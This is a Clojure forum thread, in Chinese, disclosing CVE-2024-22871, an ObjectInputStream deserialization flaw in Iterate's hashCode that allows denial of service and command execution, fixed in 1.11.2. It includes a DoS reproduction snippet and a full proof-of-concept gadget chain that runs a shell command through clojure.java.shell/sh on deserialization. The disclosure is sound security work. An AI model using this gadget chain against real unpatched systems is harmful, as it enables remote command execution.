2024 年 Clojure 状态调查!中分享您的想法。

欢迎!请参阅关于页面了解此平台的工作方式。

+1
Clojure
封闭

漏洞报告

在 org.clojure:clojure 中存在以下漏洞:
- 拒绝服务攻击 (clojure 版本 1.2.0 - 1.12.0)

dos

Command Injection

请注意,不需要额外的组件即可利用此漏洞。

详细信息
1.12.0-a5 中的 RCE CallGraph
17069252746231706925273707.png

CVE
- CVE-2024-22871

已与以下备注关闭: 发布在 Clojure 1.11.2 和 1.12.0-alpha9 中
如以下讨论所提到的,DoS 攻击可能影响 1.2.0-1.12.0,并且带有本地验证的命令执行可能影响 1.9.0-1.12.0
在我看来,一些当前的问题与以下情况相似,但采用了新的绕过方式。


https://clojure.atlassian.net/browse/CLJ-2204

编辑
我不懂,既然都是Java,Clojure又有什么关系呢?

更新:我理解正确,是不是可以在不使用Clojure的情况下用Java实现同样的功能?
没有正确完成,功能调用图部分依赖于Clojure,例如 apply、RestFn 等。在Clojure 1.9.0-1.12.0 版本中(在Clojure版本中 poc),可以通过访问匿名函数类来获取 $fn_5920 以执行命令。

1 答案

+3

选择
 
最佳答案

在不信任的数据上使用 ObjectInputStream 本质上是危险的,正如该类的文档所说。为什么要把该类危险性的展示视为提供一些使用的类中 JAR 的漏洞呢?

为未来的读者提供一个更简单的复现方法

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))
是的,ObjectInputStream确实引入了潜在的安全风险。然而,关于这个特定的漏洞,问题并不在于讨论可能导致安全问题的潜在风险。它在于,在版本1.12.0-alpha5中,可以构造一个特殊的序列化数据包,这加剧了这些风险的可能危害。这可以无需其他依赖项即可完成,并启用命令执行(看起来(process$start是一个新引入的功能)。反序列化通常取决于项目环境,但这个漏洞不需要任何其他依赖项,是JAR包本身的问题。
我明白了。但是,这与1.12.0-alpha5无关 - 我刚刚添加到答案中的代码可以在1.8.0上运行以复现行为。经过轻微修改,它也可以在1.2.0上运行(但在此之前不能运行,因为在那之前`clojure.lang.Cons`不可序列化)。
是的,这个漏洞只影响版本1.12.0-alpha5。我还没有对之前的版本进行太多分析,我对此持悲观态度,认为它们可能还存在其他高风险的反序列化漏洞。
顺便说一下,如果可能的话,希望开发人员可以发布CVE,尽管我请求CVE,但还没有收到回音。
你说“是”,但写的内容与我说的话相反 - 漏洞影响从1.2.0开始的Clojure的所有版本。
真的吗?你们是在说这个反序列化导致的命令执行漏洞吗?因为我不是非常熟悉Clojure,我只是从我自己的程序分析工具中得到了这个分析结果。
而且,最让我困惑的是core$partial$fn__5920类的生成原理。我用soot分析了clojure.jar,但我更想了解Clojure中core$partial$fn__5920类的实际代码。
该类是从`partial`函数的这个参数个数生成的: https://github.com/clojure/clojure/blob/master/src/clj/clojure/core.clj#L2638
谢谢。由于时差,之后可能难以及时回复。

编辑了
生成命令执行攻击的另一种方式

```clojure
(ns poc.clojure.command
  (:import (clojure.lang PersistentQueue)
           (java.util HashMap ArrayList))
  (:require clojure.java.process))

(defn set-private-field [obj field-name value]
  (let [field (-> (.getClass obj)
                  (.getDeclaredField field-name))]
    (.setAccessible field true)
    (.set field obj value)))

(defn modify-and-process-model [iterate]
  ;; 创建 PersistentQueue
  (let [model (PersistentQueue/EMPTY)]
    ;; 使用 set-private-field 修改 model
    (set-private-field model "f" iterate)
    ;; 返回修改后的 model
    model))

(defn main []
  ;; 创建 HashMap
  (let [map (HashMap.)
        args ["open" "-a" "calculator"]
       ;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
        fn_start (ns-resolve 'clojure.java.shell 'sh)
        partial-fn (partial apply fn_start)
        ;; 使用 clojure.core/iterate 创建 iterate 实例
        iterate-instance (iterate partial-fn args)]

    (let [model (modify-and-process-model iterate-instance)]
      (set-private-field model "_hash" (int 1))
      (.put map model nil)
      (set-private-field model "_hash" (int 0)))

    ;; 序列化 map
    (let [out (java.io.ByteArrayOutputStream.)
          obj-out (java.io.ObjectOutputStream. out)]
      (.writeObject obj-out map)
      (println "Writing is done. Reading...")

      ;; 反序列化
      (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
            obj-in (java.io.ObjectInputStream. in)]
        (.readObject obj-in)))
    )
  )

  ;; 调用 main 函数
(main)
```
by
应注意的是,在仅仅设置 'fn start (ns-resolve 'clojure.java.shell 'sh)' 的情况下,它会影响 1.9.0 - 1.12.0 版本,并且可以实现命令执行。
by
不确定你最后评论的意思。`clojure.java.shell` 命名空间中的 `sh` 函数用于 shell 调出并运行命令,所以当然可以用它来运行东西。命令执行机制仍然依赖于 `Iterate` 类实现哈希的方式。
这是因为我在上一个版本中使用了进程 $ start,但遗憾的是,这是在1.12.0中引入的新功能;后来检查项目时发现,你可以直接使用shell函数来运行命令。是的,问题仍然出现在Rotate类中哈希计算时。
这个问题已在1.11.2和1.12.0-alpha9版本中的Iterate hashCode()中修复。
...